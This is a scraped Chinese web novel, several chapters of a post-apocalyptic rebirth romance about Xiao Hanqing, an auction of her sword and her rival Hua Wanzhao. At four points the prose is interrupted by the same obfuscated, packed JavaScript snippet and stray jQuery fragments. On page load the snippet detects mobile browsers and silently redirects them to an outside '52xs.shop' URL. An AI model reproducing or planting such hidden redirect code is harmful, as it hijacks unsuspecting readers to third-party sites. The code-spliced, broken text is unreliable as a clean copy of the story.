;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557649|155554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三十二基地去见他，必须马上用你的血续命。” 他把话说到了这种份上，仍然转过头与晓寒轻对视，虚伪地补上一句，“当然，你仍然有拒绝的权力，毕竟这和我们之前的约定不符。” 在之前，晓寒轻已经答应了帮小温先生治病。 她在温氏给她的好处中加了一条，那就是她每次治病，都要去温家的宅子住一晚。 温家的宅院建立在第四基地的灵脉上，所以待在里面不仅能延年益寿，甚至能提升异能。 不过晓寒轻并不完全是为这个。 她要增加见面的机会，才能在蛛丝马迹中找到让小温先生致病的伪人。 晓寒轻无视了花晚照虚伪的面孔，道：“没关系。我先把血给他，后面再让我补住一晚，就行了。” 闻言，花晚照直接从衣兜里拿出取血器。 他戴着一副白丝绒手套，拉过晓寒轻的手腕，动作礼貌轻柔。 “多谢你体谅……” 花晚照将针刺入的动作一顿。 晓寒轻有些疑惑地低头，这才看见自己夹在里面衣服袖口上的星星发夹露了出来。 花晚照抬眸看她。 她知道他是一个复杂的人，但她很少看不懂他的眼神。 那双绿色的眼睛，仿佛渗透出一种非人的情感。 不过也飞瞬即逝。 花晚照又变回了晓寒轻熟悉的那副虚伪的死样子，道：“可能会有一点疼。” 说完，取血器刺进晓寒轻的身体。 “从污染区回来那天，你为什么盯着我看？” 花晚照垂眸，将晓寒轻的血缓缓抽出，状似不经意地问。 晓寒轻：“……怎么突然问这个？” 花晚照：“当时不想知道原因，现在想知道了。” “因为那天的伪人不是罪魁祸首。”晓寒轻有话直说，“它没那个能力重伤您。” 花晚照：“对也不对。” 取血完成，他将取血器放进保险箱，摘下手套。 “它就是罪魁祸首。不过，它也确实没有能力重伤我。”花晚照的语气漫不经心，仿佛在说一件很随意的事，“我到的时候，第三十二基地将军已经被它杀死。” “我故意放走了它。然后，自残。” 晓寒轻：“……” 花晚照：“这样能造出一个更劲爆的新闻，激起群众对伪人的恐惧厌恶情绪，方便严禁伪人政令的推行。” 晓寒轻：“…………” 在花晚照的逻辑里，本来没必要扯一个谎，去和这个人解释。 他当然清楚当时她的眼神代表着怀疑。 但一个无关紧要的人，不管对这件事有怎么样的猜测，都不会影响他分毫。 他从不做无用功。 但这个人把自己的名字改成了晓寒轻。 还戴着他当年送给晓寒轻的星星发夹同款。 甚至行事作风、说话风格都在刻意学习晓寒轻的习惯。 这个看似来自贫民窟的女孩，在尝试在他面前模仿一个已经死了十年的人。 一定又是他某个官场对家想出来的手段。 竟然找人来全方面模仿他的白月光。 花晚照看似温和，但实际上各种政令宛如铜墙铁壁，不能撼动分毫。 且他为人处世颇有太极之道，推拉之间，油盐不进。 除了他一直高调“示爱”的晓寒轻，花晚照没有其他可攻之处。 这些年来想出模仿晓寒轻来“□□”他的人，只多不少。 11. 11 在面对算计的时候，花晚照比较喜欢“请君入瓮”。这也许源于蛇类潜伏狩猎的本能。 按照常理，他应该非常客观地审判眼前这个人的演技，在恰当的时候推波助澜，装出被诱惑的样子，顺藤摸瓜找出幕后黑手。 但他实在不想让这种低级的色|诱和晓寒轻扯上关系。 她只应该被雕塑在人世间的丰碑上，接受众人的仰视与扼腕。 “怎么？”花晚照看向面前女孩的眼神已经隐隐带上了些许恶意，“被我的表里不一和龌龊手段吓得六神无主了？” 晓寒轻：“是被你的‘坦白’吓到了。您这样的大人物，竟然会和我说这些，实在让我受宠若惊。” 花晚照：“……” “而且秘书长所说的做法，也算不上龌龊。” “如果是您为了掀起不利伪人的舆论，冷眼旁观伪人伤害驻军将军，甚至有意放纵此事发生……那才算得上龌龊肮脏吧。” 闻言，花晚照没再说话，而是静静地看着她。 他更加确定眼前这个人在试图利用模仿晓寒轻来引诱他。而且，手段高明、调查详细。 在两人闹翻之前，十年前的晓寒轻确实会用刚刚那样的语气对他说话。 而晓寒轻只觉得他的眼神有些瘆人。 像是被画好表情的人偶娃娃，用一种美但不通人性的感觉。 花晚照：“你是在安慰我吗？想告诉我，我做的事其实没那么坏？” 晓寒轻：“…………” 当然，不是。 她明明是在阴阳怪气。 她根本不信花晚照刚才的说辞，觉得事实更可能是她刚刚描述的那样。 花晚照根本不是“来不及”救驻军将军。以他现在的身份和能力，若真的尽力，又怎么会无能为力？所以，更大的可能是花晚照为了促成舆论，通过新法案，而袖手旁观了驻军将军被伪人所害。 ......十年过去，花晚照还是那么自恋。 从前晓寒轻也经常用这样的方式同他阴阳怪气，但他每次好像都以为她在施以关心和爱护。 晓寒轻忍得很费力，才没向花晚照翻出一个白眼。 “学校的侧门快到了。”片刻后，花晚照才开口，却已经转移了话题，“你要在这里下吗？” 晓寒轻也不想别人看到她和花秘书长同乘，于是便提前下了车。 光能车飞驰而去。 两个人都没有回头看对方。 学校里面非常热闹，不过晓寒轻身体的原主人一向低调，而且这段时间她的模样变化很大，所以，认出她的人并不多。 雪隐给她发了一个位置信息。晓寒轻慢悠悠地向她们走去。 却见到石竹和雪隐身边，还多出了一位眼熟的人。 晓寒轻稍稍回忆了下，这才想起，那人是霸凌和绑架她的宋耀祖。 “石竹，你不觉得不公平吗？虽然你是今年的状元，但那个废物却抢走了所有风头！” “你把她当朋友，但她却对你藏着掖着，连真正的实力都不透露给你，还差一点就抢走了你状元的位置！” “她一定是故意的，她崇拜的晓指挥长不就经常做这种事情吗？摆出一副毫不费力就赢得一切的嘴脸，挡住其他所有人的上升之路！” ……前世今生，这些人挑拨离间的话怎么都大差不差。 石竹言简意赅地回应了“闭嘴”两个字。 从旁边走过来的晓寒轻想着开口随便理论几句，然而，未等她出声，雪隐竟然站了出来，“你不应该这样说。” 此时的她竟然比当初被肢体调戏时更愤懑些。 “你想破坏石竹和别人的关系，你会遭报应的！” 这话实在没有什么杀伤力。 “AB试没成绩的人，也能来参加‘升学宴’吗？” 晓寒轻的声音不大也不小。 刚好够三人发现她。 “你能升学吗？” 宋耀祖的脸顷刻间便红了温，嘴上却还要逞强，“谁说我没有成绩？！谁说我不能升学？！” 晓寒轻：“我说的。” 宋耀祖咬牙切齿道：“再胡说，别怪我不客气！你们这种平民根本想象不到我的家族势力，不论发生什么意外，我都能顺利升学！” 他冷笑一声，“这就是权力，你不懂。” 上一世担任第一基地指挥长，站在权力金字塔尖的晓寒轻：“…………” “行吧，我确实不懂‘权力’。”晓寒轻拉过石竹和雪隐，“走吧，我们离这人远点。” 几天前石竹和雪隐便都知道了晓寒轻的成绩，也都互道了恭喜。 雪隐拿到了B试佣金，倾家荡产地把觉醒石的钱赔给了晓寒轻和石竹。 三人约定一起去第七基地读大学。 石竹和晓寒轻都报了第一基地大学第七基地分部，雪隐的成绩比较普通，但也够得上第七医务大学。她的异能是“治愈”，学医正合适。 三人一起站在学校的天台上，眺望远处的风景。 目光所及处，一片荒凉。 石竹拍了拍晓寒轻的肩膀，道：“我不会被那些人挑拨的。虽然你已经不再是原来的你，但我们的友情是不会变的。” 雪隐也附和着点头。 晓寒轻：“……我已经不再是原来的我。” 她重复了一遍石竹的话。 如果不是晓寒轻私下里调查过石竹的底细，她真的会怀疑石竹是不是知道些什么。 “确实。” 天台上的风把晓寒轻的发丝吹起，“我……已经不再是原来的我。” 不管是对这副身体的原主人，还是晓寒轻本人来讲，这句话都非常应景。 晓寒轻很少感慨，更别提伤春悲秋。 然而，不等她将往昔峥嵘岁月感叹完，自己的肩膀便又被狠狠拍了一下。 “你嘟囔什么呢？”石竹皱眉看她，“把这句话重复这么多遍，也太中二了！你以为你在写小说啊！” 晓寒轻：“……好的，我不说了。” 雪隐将自己的芯片唤醒，搂过晓寒轻和石竹的手臂，笑着道：“来吧！我们拍一张合照！” “这应该是我们在高中的最后一张照片了！” * 新的生活即将开启，起点是一张能让晓寒轻合法离开第三十二基地的签证。 第三十二基地，第七基地大使馆，签证中心。 晓寒轻正在排队。 销声匿迹了几天的系统又开始尝试与她对话。 [到第七基地之后，你有什么宏伟的计划吗？] 晓寒轻沉默以对。 重生之后的晓寒轻并没有什么大目标。 就算是对于她这样辉煌的人生来说，活着的最大意义，也是“活着”本身。这是生命的本能。 晓寒轻只想杀一些危害社会的伪人，经历正常人的生老病死。 [难道你这辈子想做一个普通人吗？] 正在排队等待签证的晓寒轻，脑海中响起寻日系统的声音。 晓寒轻回应道：“当然也不是。” [为什么？] “因为这个世界的普通人，活得不够幸福。” “普通人在受苦，底层人在煎熬，剩下的人在浪费。末世前后，都是如此。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557650|155554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓寒轻的语气仍然带着上辈子的张扬和自信，“而我活着，能让别人更幸福一点。” 寻日系统：“......” 晓寒轻：“当然，这个是次要目的，主要目的还是我自己活得开心，实现自我价值。” 她一向不夸大自己的理想。 [你就不好奇当年究竟是谁害死了你吗？] 系统的声音并不带有什么情绪，却莫名带着些许蛊惑的意味。 [晓寒轻，你不想复仇吗？] 晓寒轻道：“不想。” 其实她没思考过这个问题，但系统既然这么问，她必然不受系统的摆布和引导。 “我已经复活了，何必再多此一举去复仇呢？” 话不投机半句多。 寻日系统在晓寒轻脑海中熄了火。 很快，晓寒轻被叫进了签证室。 签证官是一个打扮精致的男士，他仰着头，眯眼打量晓寒轻，随后翻看起她的资料，“第三十二基地的公民？从来没有离开过第三十二基地？” 晓寒轻点头。 签证官翻阅资料的动作加快了许多，道：“来第七基地干什么？” 晓寒轻：“念大学。” 签证官：“哪个大学？” “第一基地大学，第七基地分部。” 也就是第七基地最好的大学。 签证官面色不变，视线在资料袋中的大学offer上多停留了几眼，淡淡道了句，“恭喜。” “那你住在哪里？”签证官提醒，“第七基地的大学不会给本科生提供宿舍。” 晓寒轻：“住江上之星。” 签证官翻资料的手一顿。他抬眸，终于正眼看向晓寒轻。 江上之星是第七基地排名靠前的豪宅，不是第三十二基地的普通公民能消费得起的地方。 “租的？” “买的啊。”晓寒轻眨了眨眼睛，“别人送我的。” 资料袋里面有非常详细的购房合同。 那是在她答应帮助小温先生治疗的时候，温家送给她的报酬之一。 不是谁都有晓寒轻这样的“好运气”。 签证官的神色变得有些不自然。 他没再问问题，很快便通过了晓寒轻的签证。 ...... 石竹和雪隐也都相继收到了大学录取通知书。 三人相约乘上了同一艘光舰。 光舰的票价不便宜，虽然石竹因为AB试拿到了不少补助，但也不舍得买商务舱。雪隐的B试佣金更是大部分用来还觉醒石了，咬咬牙才买了普通舱。 晓寒轻无所谓坐在哪里，便和她们两个买了联排的位置。 “这还是我第一次坐光舰呢。”雪隐坐在最左边，一边打量四周，一边感叹，“真气派呀。” 中间的石竹把速食袋抱在怀里，“要飞好几个小时，你们要是饿了，就和我说。我这袋子里的东西很全。” “光舰上的东西一定卖得贵，不要在这里买吃的，不划算。” “我们到了第七基地准备先去博物馆参观！这种地方在第三十二基地从来没见过！”雪隐有些兴奋地和晓寒轻搭话，“你一起去吗？” 晓寒轻：“不了，我有别的安排。” 第七基地有一个大型的拍卖会场，是当初她和花晚照亲手建立的。 夜长梦多，晓寒轻准备尽快把系统承诺给她的“审判”拍卖，换成一把适合现在的她的武器。 ……花晚照现在的政务那么忙，应该不会再关注拍卖会的琐事了吧？ 晓寒轻不太想“审判”被拍卖的事情惊动花晚照这个多疑多思的神经病。 12. 12 拍卖会所的名字叫“聚光”。 当初这个名字还是花晚照取的，他说是因为晓寒轻和他自己的异能都是“光”，“聚光”的意义就是纪念她与他相聚在一起的这段时光。 ......那个时候的花晚照多乖啊。 可惜都不是真心的。 真心这种东西，也许是花晚照先天缺失的器官。 晓寒轻叹了一口气。 花晚照做她的秘书员，是在寻日系统的指示下，联盟派出先锋小队清扫江北污染区，建立第七基地的时候。 如今叱咤风云的联盟秘书长花晚照，那时还只是先锋队的一个普通队员。 初识的时候，晓寒轻也和别人一样，觉得花晚照是世间难得的纯善之人。 现在回想，早在一开始，花晚照那九曲十八弯的心眼子已经初见端倪。 先锋队有那么多队员，他是出身和资质都最普通的那一个，完全是由于某一个小队长的举荐，才能破格加入。 然而，在第七基地清扫行动结束之后，花晚照却是所有先锋队员里获得最高荣誉、最大晋升的人。 一部分原因是他确实踏实肯干，能力出众。 而他之所以能得到那么多展现能力的机会，必不可少的因素是......花晚照在清扫行动的过程中又搭上了晓寒轻这根线。 晓寒轻也不知道为什么，莫名其妙就对花晚照产生了很强烈的信任感。 她接触过的人很多，但朋友很少，花晚照却很轻松就成为了晓寒轻的朋友。 花晚照的社交技艺实在是炉火纯青，尤其是向上社交的能力，放眼整个红星没有任何对手。 “宋耀祖也在这艘光舰上......” 石竹的声音将晓寒轻的思绪拉回了现实。 “真是晦气，我刚刚看到他了，他坐在商务舱。” 雪隐：“这是这个星期里唯一一艘从第三十二基地前往第七基地的航班，会遇到他也不奇怪。” “他还能出来？”晓寒轻倒是有些好奇，“他的AB试成绩不是已经被取消了吗？而且......第三十二基地的警署不是逮捕了他么？” A试当天，花晚照救下了被“绑架”的晓寒轻，并且亲口承诺一定会抓住幕后真凶。 不论如何，他好歹也是联盟的第一秘书长，一诺千金，晓寒轻以为他总能尽力还她一个公道。 石竹也知道这个消息，“对啊，不过他很快就被释放了，反倒他家的司机因为绑架罪被判了刑。” 晓寒轻：“......” 片刻后，她便想明白了。 对于这件事，花晚照大概也只是随意嘱咐了一句。那些久居官场的官员察言观色，便给了宋家机会找替罪羊的机会，也算让这场“绑架”有了了结。 晓寒轻轻笑了一声。 重活一世，没想到她自己还是那么天真，又轻易被花晚照给哄骗了。 他怎么可能真的尽全力去帮她一个第三十二基地的普通平民呢？ 随口吩咐一句，已经是仁至义尽。 晓寒轻又问：“他的AB试成绩也恢复了？” “那倒没有。”石竹小心翼翼抿了一口刚刚免费发放的牛奶，“他应该是去第七基地读预科的。” “他至少要再读两年预科，才能升入大学。而且学费要比我们这些普招进去的贵两倍呢。” 闻言，雪隐道：“其实，这样也很惨了……AB试成绩被取消这种事情，一定很让人崩溃。” 石竹：“如果发生在我身上，我真的会想死。” 对于普通人来说，十几年寒窗换来的考试机会，如果没拿到理想成绩，确实无异于当头一棒。 可惜宋耀祖不是一个普通人。 晓寒轻看着交谈着的石竹和雪隐，突然悟出来一些她从前没想过的道理。 每个人的试错成本和改错机会，总是不一样的。 如果她不是晓寒轻，不曾拥有那些光环，那死之后便彻底一了百了，根本不会被系统选中，获得重生的机会。 雪隐继续八卦，“不知道宋耀祖究竟犯了什么事，竟然受到了这么大的惩罚。” 石竹：“我也不知道。不过他们宋家在第三十二基地一向横行霸道，这次一定是犯了很严重的错吧。” 晓寒轻道：“他绑架未遂。” “绑架谁啊？”雪隐非常好奇，“肯定不是普通人，否则一定会不了了之，最多罚一点钱。” 晓寒轻：“……也许吧。” 如果是以前的她，大概不会有机会知道，对于一个底层平民来讲，就连基本的公道都如此难得。 …… 次日上午十点，光舰到达目的地。 第七基地临江渡口。 渡口依江而建，冬日冷冽却刺眼的眼光洒向江面，映照出粼粼波光。此时正下着小雪，四周一片银装。 第七基地位于红星的寒冷区域，走出摆渡口的瞬间，晓寒轻就觉得鼻腔中涌进一股凛冽的气流。 临江渡口的人流量很大，渡口内的空间错综复杂，头顶上有的指示牌一个接着一个，只教人眼花，站内的光舰播报此起彼伏，每个人都行色匆匆，又目标明确。 见到这副情景，就连石竹都有几分露怯似的，抓紧了晓寒轻和雪隐的手。 “这里也太大了……”雪隐眨了眨眼睛，“感觉比第三十二基地的渡口要大五六倍。” 石竹：“我们是直接出去就行吗？出口在哪啊？” 晓寒轻激活芯片，“出口在一层，从左边坐电梯下去。你们在芯片里可以查到这里的地图。” “我要去取我托运过来的摩托车。你们先走吧。如果没有找到合适的旅店，晚上联系我。” 雪隐问：“你在第七基地有住的地方吗？” 晓寒轻半真半假地道：“我的暗影异能比较特殊，之前答应了参加一个异能实验，供那些实验员研究，分到了一个住处。” 石竹和雪隐点了点头。 三人就在此处暂时分开。 晓寒轻从另一个出口离开，站在临江渡口A座楼门前，环顾着这座熟悉而陌生的基地。 透明的高楼在冷白的阳光下发射出点点光芒，远处白雾缭绕，悬浮阶梯若隐若现，交错的空中甬道中车水马龙。 城市的最高处，数不清的阶梯捧起一座手持光剑的女战神雕像。晓指挥长“屹立不倒”，象征着这是由晓寒轻打造的基地之一，是这末世中“真正的人间”。 已然看不出末世的样子。 十年了，这里的变化很大。 和第三十二基地仿佛不在同一个时代。 整个联盟的资源被倒三角分配，大多集中在了前十个基地。 第七基地由当初的晓寒轻亲自建立，这里几乎算得上是她记忆中最深刻的一次清扫行动。 .... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557651|155554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..也许因为这次清扫行动让她认识了花晚照。 也曾蜜里调油，也曾忠贞不渝，最后形同陌路。 晓寒轻上辈子波澜壮阔，数不清经历过多少次翻天覆地，于是她和他的关系仿佛泯灭在她光辉的人生中。 她为人一向是世上数一数二的洒脱，否则重生之后两人的见面，绝对配得上一场煽情大戏。 任何感慨伤怀在晓寒轻心里都无法多停留一秒。 她一刻也没耽搁，从转运处拿回自己的轻光摩托，向记忆中的第七基地拍卖会所驶去。 第七基地的各类建筑在这十年间修葺完善，却在中心区域留下了一块原汁原味的老城区。 据传这里是晓寒轻指挥使带领她的部下亲自建造的，被命名为“荣耀起始街”。 联盟最著名的聚光拍卖会所就坐落在这里。 这个拍卖会所的全部工作人员都是仿生人，并且号称有堪比第一基地首府系统更安全的信息系统，是保密性最高的拍卖会所。 在这里成交的物品，没有人能追究到买卖者的身份。 仿生服务人员将晓寒轻的摩托车停好，并将她引领到鉴宝区。 这里是一间又一间封闭的小隔间，每个隔间内都有一个操作系统，用来鉴定卖品，并订好一个起拍价。 晓寒轻边走边打量四周，这里的陈设和十年前竟然一模一样，有一些十年前没有完善的地方，此时已经按照当初晓寒轻的设计图纸装修好了。 聚光的信息系统也是由晓寒轻亲自设计，所以她相信这里的安全性。 仿生人服务周到地将晓寒轻带到一个空房间，鞠躬做出“请”的手势。 晓寒轻推门走入，将储存在星星发夹中的“审判”拿了出来。 她把“审判”，这把至今仍然排在各色武器榜单上的第一名剑，随手丢到了鉴宝操作台上。 “看看吧，能买多少钱？” ...... 与此同时，第一基地移民政策决议会正在召开。 花晚照坐在次主位上。 主位是空的。 第一基地总长疾病缠身，已经数次缺席重要会议了。 秘书长花晚照已然成了第一基地实权上的第一把交椅。 会议正在严肃地进行，突然，有人从后门弓着身子走了进来。 那人走到花晚照身边，悄声说了一句话，“聚光出现了指挥长的遗物。” 花晚照脸上的表情没有丝毫变化。 他仍然得体的微笑着，微微侧眸与来人对视，淡淡道：“留住卖家。” 十年之前，晓寒轻为聚光设计了一个安全程度为100%的信息系统，就连作为设计者的她，都不能在对方没有违反基本法的情况下，获得买卖方的信息。 她自己无私贡献，却没有想过，别人是不是也能这样“无私”。 晓寒轻知道花晚照骨子里的冷漠和虚伪，但仍然愿意相信他有底线。 她以为他至少不会违背那段共同拼搏的日子里，她留下的遗愿。花晚照却早已把手伸向了她想象不到的地方。 就算是晓寒轻，也把花晚照想得太善良了。 就比如她想不到他会破坏篡改当初她写下的拍卖信息系统。 就比如她以为他只是冷眼旁观了驻军将军被伪人袭击，没有出手相救。 ……而永远猜不到，其实花晚照就是那个行凶的伪人本身。 13. 13 聚光把拍卖厅分为天地玄黄四个等级。 天字号和地字号两个等级可以选择用联盟通用货币或者聚光积分进行拍卖。 据传，聚光拍卖会场有一个填满奇珍异宝的宝库，只能使用聚光积分来交易。 鉴宝操作系统的工作效率非常高，很快，便在屏幕上显示出了“天”字评级。 与此同时，聚光拍卖会场顶楼的灯，亮了。 所有人的目光顷瞬间都被吸引过去。 “天灯亮了？！” “今天竟然有天字号的拍品！聚光的天字拍卖厅已经快三年没有使用过了！” “真是稀奇，想不到会是什么样的奇珍异宝。可惜我们这样的普通买家没有参与天字号拍卖的资格......” “至少要有十万聚光积分才能进天字号拍卖厅，咱们也就只能看一看这亮起的天灯解馋了。” ...... 晓寒轻并不想如此高调。 但亮天灯这个操作，确实是当初的她亲自设计的。 没办法，都怪十多年前的自己太中二。 好在鉴宝系统并没有人类的情感，它仍然一副公事公办的态度，道：“尊贵的卖家，请您选择拍卖方式。” 晓寒轻没有犹豫，直接选择了线上拍卖。 这样不但效率高，而且暴露身份的风险也更低。 聚光为晓寒轻提供了一个线上拍卖室，她作为卖家，可以在这里观察整个线上拍卖的情况。 其实晓寒轻并不觉得“审判”能被拍出多高的价格。 这确实是一把很好的剑，但只能被光异能者使用，偏偏光异能者在整个联盟都少得可怜。而且，“审判”若换了主人，必定难副当年的盛名。 只能说，这把剑此时的价值，主要在于收藏罢了。 很快，线上拍卖厅有多名买家账号登入。 虽然买家ID被特殊处理隐藏，但仍然会显示他们的账号等级。 登入拍卖厅的几乎都是满级买家。 偶尔混入几个非满级，也都在九十五级以上。 十万聚光积分确实不是人人都能拿得出来的东西。 鉴宝系统为“审判”制定的起拍价是，七万积分。这是一个比较保守的估价。 于是大家纷纷开始竞价。 [七万五千] [八万五千] [十万！] ...... 晓寒轻一边吃着聚光提供给她的新鲜水果，这在当今这个物资不算富足的时代绝对算得上是稀罕物，一边留意着屏幕上的报价。 虽然已经过去了十年，但聚光积分并没有丝毫“通货膨胀”的趋势，反而变得更有价值了些。 最终拍卖价停在晓寒轻一开始预估的范围内。 十五万聚光积分。 最终定价的倒计时牌已经亮起。 晓寒轻在心里盘算着这些积分能在聚光宝库中淘到什么好东西。 那里的宝物，有不少都是晓寒轻亲手放进去的。 在倒计时数到“1”的时候，出价区突然出现了新价格。 [十九万。] 出价人只有七十级，是整场拍卖里等级最低的卖家账号。 晓寒轻挑眉。 十五万已经达到了她心里的价格。 出价屏幕上果然停滞了一瞬。 在倒计时再次要结束的时候，刚才出价十五万的买家才再次出价。 [十九万五千。] [二十九万。] 七十级的账号立刻加价。 晓寒轻：“……？？” 出手这么阔？ 二十九万聚光积分已经可以买下宝库里标价最高的宝物了。 没有人再跟价，拍卖顺利结束。 晓寒轻又获得了十几万的意外之财。 交易过程由聚光负责，晓寒轻不会知道买家的任何信息。 不过她可以给对方留言。 晓寒轻想了想，在留言板写下郑重的三个字。 “你亏了。” * 聚光拍卖会场。 地下一层。 仿生工作人员将晓寒轻带到“聚光宝库”的选宝室。 这一路上通过了不下二十道安保措施。 相比十年之前，聚光虽然从外面看起来没什么区别，但安全系数早已更新换代了。 [您此次有四十分钟的挑选时间。我们会按照您的积分余额，为您开放部分藏宝目录。] [您的积分余额为二十九万，将为您开放100%的藏宝目录。] 晓寒轻知道流程，没有再多问，便直接走进了选宝室。 入口之后是一条不长的甬道，转角处摆放着一块悬浮屏幕，上面罗列着宝物名单。 价格从低至高排列。 一分钱一分货，武器这个东西至关重要，而且晓寒轻也不打算再来此处，最好能把所有积分一次花完。于是她直接把名单滑到了最下方。 [名称：江底幽光 类别：稀有材料 来源：江深深处 特性：吸收、吞噬] 目录上的介绍十分简洁，普通人根本看不出它的价值，标价又高得离谱，怪不得十年都没有卖出去。 这“江底幽光”是当年晓寒轻……和花晚照亲手从江底拿回来的。 晓寒轻盯着目录上无题的图片，思绪不禁飘回十年之前。她和花晚照初识的场景。 ...... 江北污染区。 联盟“清理者先锋队”正在进行清扫污染区的勘探任务。 寻日系统建议人类在此处建立第七基地。 此时还是“副指挥长”的晓寒轻，正站在冰面上等待异能恢复。 她刚刚解决了一个庞大的海藻污染物，异能消耗得异常快。 好在附近剩下的污染物都没什么攻击性，她便放心地交给其他队员来清除。 江北寒冷，不过晓寒轻穿得很轻薄，因为她可以靠自己的光异能取暖。 只是现在…… 她轻轻啧了一声，马上便有些人拿来了暖绒大衣，替她披上。 “指挥长，您辛苦了。” 以官职相称的时候，要把“副”字消音。 就算到了末世，人类还是有心思关注这些人情世故，可见这几乎已经成了本能。 晓寒轻：“谢了。” 其实她的态度一向也算得上平易近人，但由于光芒实在太盛，生活里一向没什么人敢靠近，敬而远之。 晓寒轻的唇都没什么血色，脸也被冻得煞白，暖绒披在身上留住了些许温度，但，还是冷得很。 她从储物空间里拿出来一个热肉饼，一咬开，微咸的肉汁在口腔中爆开。 “听说最近先锋队里有人在内讧打架。” 晓寒轻不过随意问了一嘴，旁边的先锋小队队长便噤若寒蝉，疯狂头脑风暴，斟酌着答道：“不过是、是爱情纠葛，小小吵了一架而已。” 晓寒轻：“什么爱情纠葛？” “五女争一男。” 晓寒轻：“…………” “那这男的估计不是什么好东西。”晓寒轻评价，“给了那么多女生暧昧信号。” 在晓寒轻的认知中，一个人就算魅力再大，最多也就是被很多人暗恋，暗戳戳较劲而已，比如她自己。 除非是四处留情，让太多候选人都觉得自己有获胜的可能，否则不大会造成这种摆在明面上的争斗。 “是是是……” 小队长也不敢多说，只能附和晓寒轻的话。 晓寒轻这边正吃着肉饼，不远处却突然传来一阵喧哗声。 “又是那五个人......”小队长一脸的恨铁不成钢，“唉，不对，这次打起来的怎么变成七个人了？！” 闲暇休息的时候，晓寒轻也喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557652|155554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢去看看八卦。 她快步向喧哗处走去，映入眼帘是一团混乱扭打在一起的人。 一个略显消瘦苍白的身影十分忙碌地在其中拉架。 只听得“咚”的一声。 那个拉架的掉进冰窟窿里了。 剩下那七个人还打得非常起劲。 “喂。”晓寒轻懒洋洋地叫停，“请问你们打架是为了争谁啊？” 扭打在一起的七人这才停住。 小队长小声回答：“争的就是掉冰窟窿里那个......” 晓寒轻：“......” 很显然，此事有古怪。 但队员的安危要紧，晓寒轻先走到冰窟窿前，对着里面喊道：“有没有事？” 先锋队的队员好歹也算得上优秀的异能者，按照常理来讲，摔进冰窟窿里应该不是什么大问题。 然而，没有人回应。 晓寒轻俯身，靠近的那一个瞬间，她突然感受到了一种和污染物很类似的气息。 她当即把身上的暖绒大衣扔了出去。 不等周围的几人反应过来，晓寒轻已经毫不犹豫地跳进了冰窟窿。 刺骨的江水顷刻间将她淹没。 晓寒轻顺着污染物的气息向前游去，通过对光线的绝对掌握，在水下她的视线仍然很清晰。 那种类似于污染物的气息戛然而止，与此同时，她撞进一双翠绿色的眼睛。 那瞳仁被波光映照得如同珍贵的祖母绿。 他的发丝被水波荡开，露出完整的一张脸，那眉眼却似乎比江水更温柔。 他正以一个非常优雅的姿势游动，衣襟随着他的动作浮动，隐约间露出他过分紧实有力的腰腹。 这是晓寒轻第一次见到花晚照。 当时，她想......也许被七个人争抢，也不是这个人主动留情的错。 ...... 事实上，晓寒轻不是一个会被美色迷惑的人。 引发七个人争抢，确实也不是花晚照主观造成的。 那时他“柔光普照”的附加属性刚刚被激发，他本人没有察觉，不会控制，所以无差别、无节制地对所有人使用。 在这个偏向精神抚慰类的属性加持下，花晚照自然就变成了人形魅魔。 后续两人在海底找到了这块“海底幽光”，它像是无底洞一样吸收着异能能量，这也是晓寒轻击杀海藻污染物时消耗异常之大的原因。 而十年之后，“海底幽光”仍然被存放在聚光的宝库里。晓寒轻和花晚照却早就已经面目全非。 “海底幽光”的标价为二十九万。 和晓寒轻此时的余额，分毫不差。 晓寒轻直接消耗了全部积分下单了“海底幽光”。 与此同时。 一架私人光舰从第一基地起飞。 花晚照正坐在窗旁看风景，一副兴致很好的样子。 他的独立信息系统上收到一条新消息。 审判卖家如您所料下单了“海底幽光”。 卖家的影像也被传讯过来。 花晚照看着那个来自第三十二基地、把名字改成晓寒轻的S级暗影异能者的照片，脸上原本恬静的笑意破碎。他磨了磨牙。 果然又是她。 花晚照很少做出这样的表情。 不管这场模仿白月光的美人计究竟是谁的主意，事到如今，都演得有些过火了。 